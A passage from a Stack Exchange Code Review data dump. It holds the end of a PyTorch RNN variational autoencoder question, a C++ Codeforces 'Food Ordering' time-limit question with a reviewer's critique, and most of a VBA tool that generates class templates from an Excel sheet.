logv = self.hidden2logv(hidden)
std = torch.exp(0.5 * logv)
z = torch.randn([bsz, self.zdim], device=self.device)
z = z * std + mean
# DECODER
hidden = self.latent2hidden(z)
if self.bi_enc or self.nlayers > 1:
# unflatten hidden state
hidden = hidden.view(self.nlayers, bsz, self.hdim*self.ndirections)
else:
hidden = hidden.unsqueeze(0)
return hidden, mean, logv, z
def teacher_forcing_decode(self, inp, dec_h, z):
bsz, seqlen = inp.size()
out_emb = F.dropout(self.dec_emb(inp), p=self.dropout)
z = z.unsqueeze(1).repeat([1, seqlen, 1])
rnn_inp = torch.cat([out_emb, z], dim=2)
# decoder forward pass
outputs, _ = self.dec_rnn(rnn_inp, dec_h)
logits = self.outlayer(F.dropout(outputs.contiguous().view(bsz*seqlen, -1), p=self.dropout)).contiguous().view(bsz, seqlen, -1)
return logits, dec_h[0]
def forward(self, inp):
bsz, seqlen = inp.size()
hidden, mean, logv, z = self.encode(inp)
# init dec_h
c = torch.zeros_like(hidden)
dec_h = (hidden, c)
# tf decoding
logits_tf, dec_h_tf = self.teacher_forcing_decode(inp, dec_h, z)
return logits_tf, mean, logv
</code></pre>
<p>Data pipeline using torchtext</p>
<pre><code>device = torch.device("cuda:0")
go_token='<go>'
eos_token='<eos>'
pad_token='<pad>'
unk_token='<unk>'
tokenize=str.split
vectors=GloVe(name='6B', dim=50)
src = trg = torchtext.data.Field(sequential=True, use_vocab=True, init_token=go_token,
eos_token=eos_token, fix_length=None, dtype=torch.long,
preprocessing=None, postprocessing=None, lower=True,
tokenize=tokenize, include_lengths=True, batch_first=True,
pad_token=pad_token, unk_token=unk_token, pad_first=False, truncate_first=False)
train_ds = torchtext.datasets.TranslationDataset(
path='data/train', exts=('.txt', '.txt'),
fields=(src, trg))
src.build_vocab(train_ds, max_size=None, vectors=vectors)
vsz = len(src.vocab)
eos_idx = src.vocab.stoi[eos_token]
go_idx = src.vocab.stoi[go_token]
unk_idx = src.vocab.stoi[unk_token]
pad_idx = src.vocab.stoi[pad_token]
bsz = 100
train_iter = torchtext.data.BucketIterator(dataset=train_ds, batch_size=bsz,
sort=True, sort_within_batch=True, repeat=True,
sort_key=lambda x: len(x.src), device=device)
</code></pre>
<p>Instantiating a model</p>
<pre><code>edim = 50
hdim = 96
dropout = .2
zdim = 32
nlayers = 1
bi_enc = True
vocab = TEXT.vocab
model = RVAE(vsz, edim, hdim, dropout, zdim, nlayers, bi_enc, go_idx, eos_idx, pad_idx, unk_idx, vocab, vectors.vectors, device)
</code></pre>
<p>Weight anealing function</p>
<pre><code>def kl_anneal_function(x0, k, step, anneal_function):
if anneal_function == 'logistic':
return float(1/(1+np.exp(-k*(step-x0))))
elif anneal_function == 'linear':
return min(1, step/x0)
x0=8500*10
anneal_function = 'linear'
nepochs = 100
</code></pre>
<p>My training loop</p>
<pre><code>for epoch in range(train_iter.epoch, nepochs):
ep_st = time.time()
epoch_loss_tf = 0
epoch_loss_kl = 0
for i, batch in enumerate(train_iter):
model.zero_grad()
src_b, lengths = batch.src
inp = src_b[:, :-1]
tgt = src_b[:, 1:].contiguous().view(-1)
bsz, seqlen = inp.size()
# forward
logits_tf, mean, logv = model(inp)
# loss calculation
loss_tf = F.cross_entropy(logits_tf.view(bsz*seqlen, -1), tgt, ignore_index=pad_idx)
kl_weight = kl_anneal_function(x0, k, train_iter.iterations, anneal_function)
loss_kl = torch.mean(kl_weight *(-0.5 * torch.sum(1 + logv - mean.pow(2) - logv.exp())))
loss = loss_tf + loss_kl
# backward
loss.backward()
# clip gradients
clip_grad_norm_(model.parameters(), .25)
# optimizer step
optimizer.step()
# track loss
epoch_loss_tf += float(loss_tf.item())
epoch_loss_kl += float(loss_kl.item())
#end of epoch
if train_iter.epoch > epoch:
ep_et = time.time()
#log
print("End of epoch {} | time elapsed {:5.3f} | loss_tf {:5.3f} |"
" loss_kl {:5.3f} | kl_weight {:5.3f} | LR {}".
format(epoch, (ep_et-ep_st)/60, epoch_loss_tf, epoch_loss_kl, kl_weight,
optimizer.param_groups[0]['lr'])
)
_, indices = F.softmax(logits_tf, dim=-1).max(-1)
sentences = [' '.join(src.vocab.itos[idx] for idx in sent) for i, sent in enumerate(indices.detach().squeeze().cpu().numpy().astype(int))]
print(sentences)
break
del loss, loss_tf, loss_kl, logits_tf, mean, logv, src_b, lengths, batch, inp, tgt
with torch.cuda.device(0):
torch.cuda.empty_cache()
</code></pre>
| [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T12:30:34.450",
"Id": "212915",
"Score": "1",
"Tags": [
"python",
"machine-learning",
"pytorch"
],
"Title": "Posterior collapses in an RNN variational auto-encoder - PyTorch"
} | 212915 |
<p>So, I've recently started working on CodeForces to practice from older contests (and maybe even start participating in current ones), but there is one problem that I can't seem to make an efficient enough program to pass all tests. Here is my code:</p>
<pre><code>#include <bits/stdc++.h>
using namespace std;
struct food
{
long long stock, cost;
} v[100005];
struct sorted_food
{
long long type, cost;
} s[100005];
bool compare (sorted_food lhs, sorted_food rhs)
{
return (lhs.cost < rhs.cost && lhs.cost && rhs.cost);
}
int main()
{
struct order
{
long type;
long long dishes;
} cust; ///cust = customer
struct minim
{
long pos=0;
long value=2147483647;
} mn;
long long i,n,m,cost,d,j,k=1;
cin >> n >> m;
for (i=1; i<=n; i++)
{
cin >> v[i].stock;
}
for (i=1; i<=n; i++)
{
cin >> v[i].cost;
s[k].cost = v[i].cost;
s[k].type = i;
k++;
if (v[i].cost < mn.value && v[i].stock)
{
mn.value = v[i].cost;
mn.pos = i;
}
}
sort(s + 1, s + k, compare);
for (i=1; i<=m; i++)
{
cost = 0;
cin >> cust.type >> cust.dishes;
d=v[cust.type].stock;
v[cust.type].stock -= cust.dishes;
if (v[cust.type].stock >= 0)
cost = v[cust.type].cost * cust.dishes;
else
{
cost = v[cust.type].cost * (cust.dishes + v[cust.type].stock);
v[cust.type].stock = 0;
cust.dishes -= d;
while (cust.dishes)
{
if (cust.dishes > v[mn.pos].stock)
{
cust.dishes = cust.dishes - v[mn.pos].stock;
cost += v[mn.pos].stock * v[mn.pos].cost;
v[mn.pos].stock = 0;
mn.value = 2147483647;
mn.pos = 0;
for (j=1; j<=k; j++)
{
if (v[s[j].type].cost <= mn.value && v[s[j].type].stock)
{
mn.value = v[s[j].type].cost;
mn.pos = s[j].type;
break;
}
}
if (mn.value == 2147483647 && cust.dishes)
{
cost = 0;
cust.dishes = 0;
}
}
else
{
cost += v[mn.pos].cost * cust.dishes;
v[mn.pos].stock -= cust.dishes;
cust.dishes = 0;
}
}
}
cout << cost << "\n";
}
}
</code></pre>
<p>I know I haven't written my code to look its best, but it'll do, I suppose.</p>
<h2><a href="https://codeforces.com/problemset/problem/1106/B" rel="nofollow noreferrer">B. Lunar New Year And Food Ordering</a></h2>
<blockquote>
<p>The restaurant "Alice's" serves <span class="math-container">\$n\$</span> kinds of food. The cost for the <span class="math-container">\$i\$</span>-th kind is always <span class="math-container">\$c_i\$</span>. Initially, the restaurant has enough ingredients for serving exactly <span class="math-container">\$a_i\$</span> dishes of the <span class="math-container">\$i\$</span>-th kind. In the New Year's Eve, <span class="math-container">\$m\$</span> customers will visit Alice's one after another and the <span class="math-container">\$j\$</span>-th customer will order <span class="math-container">\$d_j\$</span> dishes of the <span class="math-container">\$t_j\$</span>-th kind of food. The <span class="math-container">\$(i+1)\$</span>-st customer will only come after the <strong>i</strong>-th customer is completely served.</p>
<p>Suppose there are <span class="math-container">\$r_i\$</span> dishes of the <span class="math-container">\$i\$</span>-th kind remaining (initially <span class="math-container">\$r_i = a_i\$</span>). When a customer orders <span class="math-container">\$1\$</span> dish of the <span class="math-container">\$i\$</span>-th kind, the following principles will be processed.</p>
<ol>
<li>If <span class="math-container">\$r_i > 0\$</span>, the customer will be served exactly <span class="math-container">\$1\$</span> dish of the <span class="math-container">\$i\$</span>-th kind. The cost for the dish is <span class="math-container">\$c_i\$</span>. Meanwhile, <span class="math-container">\$r_i\$</span> will be reduced by <span class="math-container">\$1\$</span>.</li>
<li>Otherwise, the customer will be served <span class="math-container">\$1\$</span> dish of the <strong>cheapest</strong> available kind of food if there are any. If there are multiple cheapest kinds of food, the one with the smallest index among the cheapest will be served. The cost will be the cost for the dish served and the remain for the corresponding dish will be reduced by <span class="math-container">\$1\$</span>.</li>
<li>If there are no more dishes at all, the customer will leave angrily.
Therefore, no matter how many dishes are served previously, the cost
for the customer is <span class="math-container">\$0\$</span>.</li>
</ol>
<p>If the customer doesn't leave after the <span class="math-container">\$d_j\$</span> dishes are served, the cost
for the customer will be the sum of the cost for these <span class="math-container">\$d_j\$</span> dishes.</p>
<p>Please determine the total cost for each of the <span class="math-container">\$m\$</span> customers.</p>
<h3>Input</h3>
<p>The first line contains two integers <span class="math-container">\$n\$</span> and <span class="math-container">\$m\$</span> (<span class="math-container">\$ 1 ≤ n, m ≤ 10^5\$</span>), representing the number of different kinds of food and the number of customers, respectively.</p>
<p>The second line contains <span class="math-container">\$n\$</span> positive integers <span class="math-container">\$a_1, a_2,\ldots, a_n\$</span> (<span class="math-container">\$1 ≤ a_i ≤ 10^7\$</span>), where <span class="math-container">\$a_i\$</span> denotes the initial remain of the <span class="math-container">\$i\$</span>-th kind of dishes.</p>
<p>The third line contains <span class="math-container">\$n\$</span> positive integers <span class="math-container">\$c_1, c_2, \ldots, c_n\$</span> (<span class="math-container">\$1 ≤ c_i ≤ 10^6\$</span>), where <span class="math-container">\$c_i\$</span> denotes the cost of one dish of the <span class="math-container">\$i\$</span>-th kind.</p>
<p>The following <span class="math-container">\$m\$</span> lines describe the orders of the <span class="math-container">\$m\$</span> customers respectively. The <span class="math-container">\$j\$</span>-th line contains two positive integers <span class="math-container">\$t_j\$</span> and <span class="math-container">\$d_j\$</span>
(<span class="math-container">\$1 ≤ t_j ≤ n\$</span>, <span class="math-container">\$1 ≤ d_j ≤ 10^7\$</span>), representing the kind of food and the number of dishes the <span class="math-container">\$j\$</span>-th customer orders, respectively.</p>
<h3>Output</h3>
<p>Print <span class="math-container">\$m\$</span> lines. In the <span class="math-container">\$j\$</span>-th line print the cost for the <span class="math-container">\$j\$</span>-th customer.</p>
<h3>Requirements</h3>
<ul>
<li>time limit per test: 2 seconds</li>
<li>memory limit per test: 256 megabytes</li>
<li>input: standard input</li>
<li>output: standard output</li>
</ul>
</blockquote>
<p>From the time the evaluator is spending to evaluate the time-limit-exceeded test, I'm thinking my program gets stuck somewhere. Hoping to get some advice from you guys!</p>
<p>Edit: definitely the code gets stuck somewhere, I just replaced my old and inefficient search for a sorted array and the results are the same.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T16:18:51.163",
"Id": "411933",
"Score": "0",
"body": "Unfortunately, \"definitely the code gets stuck somewhere\" sounds like this is actually off-topic here."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T17:30:59.393",
"Id": "411956",
"Score": "0",
"body": "@JerryCoffin If this is off-topic here, then it is off-topic everywhere on Stack, as other categories don't seem to be very helpful when talking about checking code. And, by checking code, I think I have already made my code eligible to Code Review. Off-topic shouldn't mean you can't give me ideas, but on Stack this is what it means, apparently."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T17:33:37.600",
"Id": "411958",
"Score": "2",
"body": "Although I agree that it's kind of a pain, the basic idea is apparently that you should post a question to SO to help with getting it to actually work correctly (not necessarily fast enough to complete all the tests in time, but dependably does the job--eventually). Then when it's all working, you can post it here to get help with improving style, making it faster, and so on."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T06:22:05.897",
"Id": "412018",
"Score": "0",
"body": "@JerryCoffin [Time-limit exceeded questions are not necessarily off-topic](https://codereview.meta.stackexchange.com/a/2586/52915)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T06:57:02.487",
"Id": "412030",
"Score": "0",
"body": "@Mast: Yes, but at least as I read things, he's saying there's actually a bug, not just too slow of execution."
}
] | [
{
"body": "<p>You have a couple of compiler warnings:</p>\n\n<pre><code>24: error: ISO C++ forbids initialization of member ‘pos’\n24: error: making ‘pos’ static\n24: error: ISO C++ forbids in-class initialization of non-const static member ‘pos’\n24: error: local class ‘struct main()::minim’ shall not have static data member ‘long int main()::minim::pos’\n25: error: ISO C++ forbids initialization of member ‘value’\n25: error: making ‘value’ static\n25: error: ISO C++ forbids in-class initialization of non-const static member ‘value’\n25: error: local class ‘struct main()::minim’ shall not have static data member ‘long int main()::minim::value’\n</code></pre>\n\n<p>Not a valid header:</p>\n\n<pre><code>#include <bits/stdc++.h>\n</code></pre>\n\n<p>This declaration is bad practice: See: <a href=\"https://stackoverflow.com/q/1452721/14065\">https://stackoverflow.com/q/1452721/14065</a> second answer is the best.</p>\n\n<pre><code>using namespace std;\n</code></pre>\n\n<p>One declaration per line please.</p>\n\n<pre><code> long long stock, cost;\n</code></pre>\n\n<p>You are making copies of the parameter here.</p>\n\n<pre><code>bool compare (sorted_food lhs, sorted_food rhs)\n</code></pre>\n\n<p>Pass by const reference to avoid a copy.<br>\nIf you had written your types above properly you have spotted that it was more expensive to copy than passing a reference.</p>\n\n<p>This looks completely garbage:</p>\n\n<pre><code> return (lhs.cost < rhs.cost && lhs.cost && rhs.cost);\n</code></pre>\n\n<p>Let's have a Look:</p>\n\n<pre><code> A Cost B Cost A < B B < A\n 5 6 T F OK\n 5 0 F F Hmmmm So they are equal?\n 0 6 F F Hmmmm\n 0 0 F F Hmmmm \n</code></pre>\n\n<p>What on earth!!!</p>\n\n<pre><code> long long i,n,m,cost,d,j,k=1;\n</code></pre>\n\n<p>One variable per line. Only declare variables at the point you need them. This is not C89. You don't need to declare all the variables at the top. It gives you no speed benefit to declare them all at the top. It gives you no speed benefit to declare variables that are only 1 character lone give them a name so we can read the code.</p>\n\n<p>If you can read the code you have a better chance of spotting better algorithms. </p>\n\n<p>This is a bit eccentric way of writing a loop!</p>\n\n<pre><code> for (i=1; i<=m; i++)\n\n // Normally written like this:\n for (int i=0; i < m; ++i)\n</code></pre>\n\n<p>Yep, as expected the rest is unreadable so I can't suggest a better algorithm.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T18:33:57.600",
"Id": "212995",
"ParentId": "212919",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T13:17:07.707",
"Id": "212919",
"Score": "0",
"Tags": [
"c++",
"time-limit-exceeded",
"console"
],
"Title": "\"Food Ordering\" program exceeds time limit in test 9"
} | 212919 |
<p>I recently developed a tool which automaticaly generates VBA code in order to smoothly create class templates. I wanted to share this tool with the community, hopefully this is the right place.</p>
<p>The idea is to put the definition of your class on "paper", via an excel spreadsheet:</p>
<ol>
<li>Create a new sheet or chose an empty spot on a random sheet</li>
<li>Type the name of your class in one cell</li>
<li>All the cells below will contain the name of a member of your class</li>
<li>The cells adjacent (to the right) of the step 3 cells will provide the type (if the member is a method, leave blank)</li>
<li>The cells adjacent to the step 4 cells will provide read and write attributes (if the member is a function or a method, leave blank)</li>
<li>The cells adjacent to the step 5 cells will provide a description of the member (optional)</li>
<li>The cells adjacent to the step 6 cells go by pairs and will provide the parameters of the member (for functions and methods only, and if relevant). There can be as many pairs as required: column N is the variable name, column N+1 is the variable type</li>
<li>Select the range containing your data (except the Class name, which will be located just above your selection)</li>
<li>Run subroutine Main (code provided below)</li>
<li>The generated code is exported in the Inmediate Window</li>
</ol>
<p>See below the example of an Excel sheet showing the class definition. The range selection required before running the code is shown in red.</p>
<p><a href="https://i.stack.imgur.com/svPGc.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/svPGc.png" alt="enter image description here"></a></p>
<p>The class template code generated from the above example looks as follows:</p>
<pre><code>'CLIENTFILE
'
'Properties:
' - Id R Long A cumulative Id number (attributed during initialization)
' - FirstName RW String First name
' - LastName RW String Last Name
' - DateOfBirth RW Date Date of Birth
' - Sales RW String Coll A collection of strings which represent sales ID numbers
' - Proposals RW clsProposal coll A collection of clsProposal objects which represent the proposals sent in the past
'Functions:
' - NewProposal clsProposal Returns a Proposal for given sales parameters
'Methods:
' - SendBestWishes Sends a wishes card (why not?)
' - MakePremium Upgrades the client to Premium
Option Explicit
Private lId as Long
Private sFirstName as String
Private sLastName as String
Private dDateOfBirth as Date
Private cSales as New Collection
Private oProposals as New coll
'##### INITIALIZE #####
Private Sub class_Initialize()
Debug.Print "clsClientFile initilized"
End Sub
'##### PROPERTIES #####
'# ID
'A cumulative Id number (attributed during initialization)
Public Property Get Id() as Long
Id = lId
End Property
'# FIRSTNAME
'First name
Public Property Get FirstName() as String
FirstName = sFirstName
End Property
Public Property Let FirstName(Var as String)
sFirstName = Var
End Property
'# LASTNAME
'Last Name
Public Property Get LastName() as String
LastName = sLastName
End Property
Public Property Let LastName(Var as String)
sLastName = Var
End Property
'# DATEOFBIRTH
'Date of Birth
Public Property Get DateOfBirth() as Date
DateOfBirth = dDateOfBirth
End Property
Public Property Let DateOfBirth(Var as Date)
dDateOfBirth = Var
End Property
'# SALES
'A collection of strings which represent sales ID numbers
Public Property Get Sales() as Collection
Set Sales = cSales
End Property
Public Property Set Sales(Var as Collection)
Set cSales = Var
End Property
'# PROPOSALS
'A collection of clsProposal objects which represent the proposals sent in the past
Public Property Get Proposals() as coll
Set Proposals = oProposals
End Property
Public Property Set Proposals(Var as coll)
Set oProposals = Var
End Property
'##### FUNCTIONS #####
'# NEWPROPOSAL
'Returns a Proposal for given sales parameters
Public Function NewProposal(ByVal sTitle as String, ByVal sExpDate as Date) as clsProposal
End Function
'##### METHODS #####
'# SENDBESTWISHES
'Sends a wishes card (why not?)
Public Sub SendBestWishes(ByVal sAddress as String)
End Sub
'# MAKEPREMIUM
'Upgrades the client to Premium
Public Sub MakePremium
End Sub
</code></pre>
<p>The source code is provided below:</p>
<hr>
<p>STANDARD MODULE</p>
<pre><code>Option Explicit
'##### GEN CLASS CODE #####
'Generates code in the Immediate Window
'Select in a Spreadsheet the list of Properties, Functions, and Methods to be incorporated within the Class.
'The row just above the selection provides the Class Name in the cell of column 1 of the selection, and an optionnal Description in column 2.
'Each Row of the selection must represent a Member, and the Columns must be structured as follows: (x = must be provided, o = must not be provided, ? = can be provided)
'Column Property Function Method Comment
' - 1: Member Name x x x
' - 2: Member Variable Type x x o Variable Type of the Variable returned by Property or Function.
' - 3: Member Rights x o o Defines if the Member is Read Only, Write Only, or Both: type 'R', 'W', or 'RW'.
' - 4: Member Description ? ? ? Will be inserted in the Class Summary Header, as well as in the Member Mini Header. Usually empty if the Member is a Property.
' - 5-6+: Member Input Variables o ? ? Pairs of value : column N is VarName, column N+1 is VarType. If more than one Input Variable is required, reapeat with columns 7-8, etc.
'Non-Object Variable Types (Object variables require a Let and New statement)
Private Const cstNonObjectVariables = "Variant, Integer, Long, Single, Double, Currency, Date, String, Boolean, Byte, LongLong, LongPtr"
'Variable Type and their corresponding Prefix (for Hungarian style nomenclature; update cstVariablesPrefix to = "p, p, p, p, p, p, p, p, p, p, p, p, p, " to ignore)
Private Const cstVariableTypes = "Variant, Integer, Long, Single, Double, Currency, Date, String, Boolean, Byte, LongLong, LongPtr, Collection, Object"
Private Const cstVariablesPrefix = "v, i, l, sgl, dbl, ccy, d, s, b, by, h, h, c, o"
'Maximum lengths per column (for Class Summary Header)
Private Const cstMaxLenName = 25
Private Const cstMaxLenRW = 4
Private Const cstMaxLenVarType = 25
Sub main()
'***** PREPARE DATA *****
'# Read and Verify Selection
Dim rngRawInput As Range
Set rngRawInput = Selection
If Selection.Columns.Count > 4 And (Selection.Columns.Count - 4) Mod 2 <> 0 _
Then MsgBox "Selection is wrong, please try again", vbCritical + vbOKOnly, "Excel clsGen": End
If rngRawInput.Columns.Count < 6 Then Set rngRawInput = rngRawInput.Resize(, 6)
'# Save Selection Content
Dim sClassName As String
Dim sClassDescription As String
sClassName = rngRawInput.Offset(-1, 0).Cells(1, 1).Value2
sClassDescription = rngRawInput.Offset(-1, 0).Cells(1, 2).Value2
Dim arrName() As Variant
Dim arrVarType() As Variant
Dim arrRights() As Variant
Dim arrDescription() As Variant
Dim arrInputVars() As Variant
arrName = rngRawInput.Columns(1).Value2
arrVarType = rngRawInput.Columns(2).Value2
arrRights = rngRawInput.Columns(3).Value2
arrDescription = rngRawInput.Columns(4).Value2
arrInputVars = ActiveSheet.Range(Cells(rngRawInput.Row, rngRawInput.Column + 4), _
Cells(rngRawInput.Row + rngRawInput.Rows.Count - 1, rngRawInput.Column + rngRawInput.Columns.Count - 1)).Value2
'# Identify Selection Content Member Types and Populate relevant Collections
Dim cProperties As New Collection
Dim cFunctions As New Collection
Dim cMethods As New Collection
Dim myMember As clsGenClsMember
Dim i As Integer
Dim j As Integer
For i = LBound(arrName) To UBound(arrName)
Set myMember = New clsGenClsMember
With myMember
.Name = arrName(i, 1)
.VarType = Replace(Split(arrVarType(i, 1) & " ", " ")(VBAexcelBasics.FunctionsStrings.strCount(CStr(arrVarType(i, 1)), " ")), "Coll", "Collection", , , vbTextCompare) '"oVariable Coll" -> "Collection" (of oVariable type)
.VarTypeFull = arrVarType(i, 1)
.Rights = arrRights(i, 1)
.Description = arrDescription(i, 1)
.InputVars = Application.WorksheetFunction.Index(arrInputVars, i, 0)
'Input check
If StrComp(.Name, "Val", vbTextCompare) = 0 Then _
MsgBox "Member name cannot be 'val', please try again with another name.", vbCritical + vbOKOnly, "Excel clsGen": End
If Len(.Name) > cstMaxLenName Or Len(.Rights) > cstMaxLenRW Or Len(.VarTypeFull) > cstMaxLenVarType Then _
MsgBox "Member Name, RW statement, and/or Description are too long, please try again with something shorter.", vbCritical + vbOKOnly, "Excel clsGen": End
'Member is a Property
If .Name <> "" And .VarType <> "" And .Rights <> "" And .InputVars(1) = "" Then
cProperties.Add myMember
'Member is a Function
ElseIf .Name <> "" And .VarType <> "" And .Rights = "" And .InputVars(1) <> "" Then
cFunctions.Add myMember
'Member is a Method
ElseIf .Name <> "" And .VarType = "" And .Rights = "" Then
cMethods.Add myMember
'Unable to identify Member kind
Else
MsgBox "Unable to Identify Content of row " & i & " (" & .Name & "). Please verify and try again.", _
vbCritical + vbOKOnly, "Excel clsGen": End
End If
End With
Next
'***** PRINT DATA *****
Dim sPrint As String
Dim sOutput As String
Dim arrNonObjectVariables() As String
arrNonObjectVariables = Split(cstNonObjectVariables, ", ")
'# Print Summary Header
sPrint = "'@ClassName" & vbNewLine _
& "'@ClassDescription" & vbNewLine _
sPrint = Replace(sPrint, "@ClassName", StrConv(Mid(sClassName, 4, Len(sClassName) - 3), vbUpperCase))
sPrint = Replace(sPrint, "@ClassDescription" & vbNewLine, IIf(sClassDescription = "", "", sClassDescription & vbNewLine))
sOutput = sOutput & sPrint
'Properties
sOutput = sOutput & vbNewLine _
& "'Properties:" & vbNewLine
For Each myMember In cProperties
With myMember
sOutput = sOutput & "' - " & .Name & Space(cstMaxLenName - Len(.Name)) _
& .Rights & Space(cstMaxLenRW - Len(.Rights)) _
& .VarTypeFull & Space(cstMaxLenVarType - Len(.VarTypeFull)) _
& .Description & vbNewLine
End With
Next
'Functions
sOutput = sOutput & vbNewLine _
& "'Functions:" & vbNewLine
For Each myMember In cFunctions
With myMember
sOutput = sOutput & "' - " & .Name & Space(cstMaxLenName + cstMaxLenRW - Len(.Name)) _
& .VarTypeFull & Space(cstMaxLenVarType - Len(.VarTypeFull)) _
& .Description & vbNewLine
End With
Next
'Methods
sOutput = sOutput & vbNewLine _
& "'Methods:" & vbNewLine
For Each myMember In cMethods
With myMember
sOutput = sOutput & "' - " & .Name & Space(cstMaxLenName - Len(.Name)) _
& .Description & vbNewLine
End With
Next
sOutput = sOutput & vbNewLine _
& "Option Explicit" & vbNewLine _
& vbNewLine _
& vbNewLine
'# Print Private Variables
For Each myMember In cProperties
With myMember
sPrint = "Private @p@VarName as @New @VarType" & vbNewLine
sPrint = Replace(sPrint, "@VarName", .Name)
sPrint = Replace(sPrint, "@New ", IIf(UBound(Filter(arrNonObjectVariables, .VarType, , vbTextCompare)) > -1, "", "New "))
sPrint = Replace(sPrint, "@p", VarPrefix(.VarType))
sPrint = Replace(sPrint, "@VarType", .VarType)
sOutput = sOutput & sPrint
End With
Next
'# Print Initialize
sPrint = vbNewLine _
& vbNewLine _
& vbNewLine _
& "'##### INITIALIZE #####" & vbNewLine _
& vbNewLine _
& "Private Sub class_Initialize()" & vbNewLine _
& " Debug.Print ""@ClassName initilized"" " & vbNewLine _
& "End Sub" & vbNewLine
sPrint = Replace(sPrint, "@ClassName", sClassName)
sOutput = sOutput & sPrint
'# Print Properties
sPrint = vbNewLine _
& vbNewLine _
& vbNewLine _
& "'##### PROPERTIES #####" & vbNewLine
sOutput = sOutput & sPrint
For Each myMember In cProperties
With myMember
'Prepare Print
sPrint = vbNewLine _
& vbNewLine _
& "'# @VARNAME" & vbNewLine _
& vbNewLine
If InStr(.Rights, "R") <> 0 Then sPrint = sPrint & "'@Description" & vbNewLine _
& "Public Property Get @VarName() as @VarType" & vbNewLine _
& " @Set @VarName = @p@VarName" & vbNewLine _
& "End Property" & vbNewLine
If InStr(.Rights, "W") <> 0 Then sPrint = sPrint & "Public Property @LetSet @VarName(Var as @VarType)" & vbNewLine _
& " @Set @p@VarName = Var" & vbNewLine _
& "End Property" & vbNewLine
'Replace PlaceHolders
sPrint = Replace(sPrint, "@VARNAME", UCase(.Name))
sPrint = Replace(sPrint, "@Description", .Description)
sPrint = Replace(sPrint, "@VarName", .Name)
sPrint = Replace(sPrint, "@VarType", .VarType)
sPrint = Replace(sPrint, "@Set ", IIf(UBound(Filter(arrNonObjectVariables, .VarType, , vbTextCompare)) > -1, "", "Set "))
sPrint = Replace(sPrint, "@p", VarPrefix(.VarType))
sPrint = Replace(sPrint, "@LetSet", IIf(UBound(Filter(arrNonObjectVariables, .VarType, , vbTextCompare)) > -1, "Let", "Set"))
sOutput = sOutput & sPrint
End With
Next
'# Print Functions
sPrint = vbNewLine _
& vbNewLine _
& vbNewLine _
& "'##### FUNCTIONS #####" & vbNewLine
sOutput = sOutput & sPrint
Dim sArgumentPairs
For Each myMember In cFunctions
With myMember
'Prepare Print
sPrint = vbNewLine _
& vbNewLine _
& "'# @NAME" & vbNewLine _
& vbNewLine _
& "'@Description" & vbNewLine _
& "Public Function @Name(@ArgumentPairs) as @VarType" & vbNewLine _
& " " & vbNewLine _
& "End Function" & vbNewLine
'Replace PlaceHolders
sPrint = Replace(sPrint, "@NAME", UCase(.Name))
sPrint = Replace(sPrint, "@Description", .Description)
sPrint = Replace(sPrint, "@Name", .Name)
sPrint = Replace(sPrint, "@VarType", .VarType)
'Check if Arguments List provided
If .InputVars(1) = "" Then
sPrint = Replace(sPrint, "(@ArgumentPairs)", "")
Else
sArgumentPairs = ""
For i = LBound(.InputVars) To UBound(.InputVars) Step 2
If .InputVars(i) = "" Then Exit For
sArgumentPairs = sArgumentPairs & "ByVal " & .InputVars(i) & " as " & .InputVars(i + 1) & ", "
Next
sArgumentPairs = Left(sArgumentPairs, Len(sArgumentPairs) - Len(", "))
sPrint = Replace(sPrint, "@ArgumentPairs", sArgumentPairs)
End If
sOutput = sOutput & sPrint
End With
Next
'# Print Methods
sPrint = vbNewLine _
& vbNewLine _
& vbNewLine _
& "'##### METHODS #####" & vbNewLine
sOutput = sOutput & sPrint
For Each myMember In cMethods
With myMember
'Prepare Print
sPrint = vbNewLine _
& vbNewLine _
& "'# @NAME" & vbNewLine _
& vbNewLine _
& "'@Description" & vbNewLine _
& "Public Sub @Name(@ArgumentPairs)" & vbNewLine _
& " " & vbNewLine _
& "End Sub" & vbNewLine
'Replace PlaceHolders
sPrint = Replace(sPrint, "@NAME", UCase(.Name))
sPrint = Replace(sPrint, "@Description", .Description)
sPrint = Replace(sPrint, "@Name", .Name)
'Check if Arguments List provided
If .InputVars(1) = "" Then
sPrint = Replace(sPrint, "(@ArgumentPairs)", "")
Else
sArgumentPairs = ""
For i = LBound(.InputVars) To UBound(.InputVars) Step 2
If .InputVars(i) = "" Then Exit For
sArgumentPairs = sArgumentPairs & "ByVal " & .InputVars(i) & " as " & .InputVars(i + 1) & ", "
Next
sArgumentPairs = Left(sArgumentPairs, Len(sArgumentPairs) - Len(", "))
sPrint = Replace(sPrint, "@ArgumentPairs", sArgumentPairs)
End If
sOutput = sOutput & sPrint
End With
Next
'# Export Print Code to Immediate Window
Debug.Print sOutput
End Sub
'# Returns the generic prefix of a given Variable Type, according to the Naming Convention
Private Function VarPrefix(sVarType As String) As String
Dim arrVariableTypes() As String
Dim arrVariablesPrefixes() As String
arrVariableTypes = Split(cstVariableTypes, ", ")
arrVariablesPrefixes = Split(cstVariablesPrefix, ", ")
Dim i As Integer
For i = LBound(arrVariableTypes) To UBound(arrVariableTypes)
If StrComp(sVarType, arrVariableTypes(i), vbTextCompare) = 0 Then VarPrefix = arrVariablesPrefixes(i): Exit Function
Next i
'Else it is an Object
VarPrefix = "o"
End Function
</code></pre>
<hr>
<p>CLASS MODULE, Name = clsGenClsMember</p>
<pre><code>Option Explicit
Private sName As String
Private sVarType As String
Private sVarTypeFull As String
Private sRights As String
Private sDescription As String
Private arrInputVars As Variant
Public Property Get Name() As String
Name = sName
End Property
Public Property Let Name(Var As String)
sName = Var
End Property
Public Property Get VarType() As String
VarType = sVarType
End Property
Public Property Let VarType(Var As String)
sVarType = Var
End Property
Public Property Get VarTypeFull() As String
VarTypeFull = sVarTypeFull
End Property
Public Property Let VarTypeFull(Var As String)
sVarTypeFull = Var
End Property
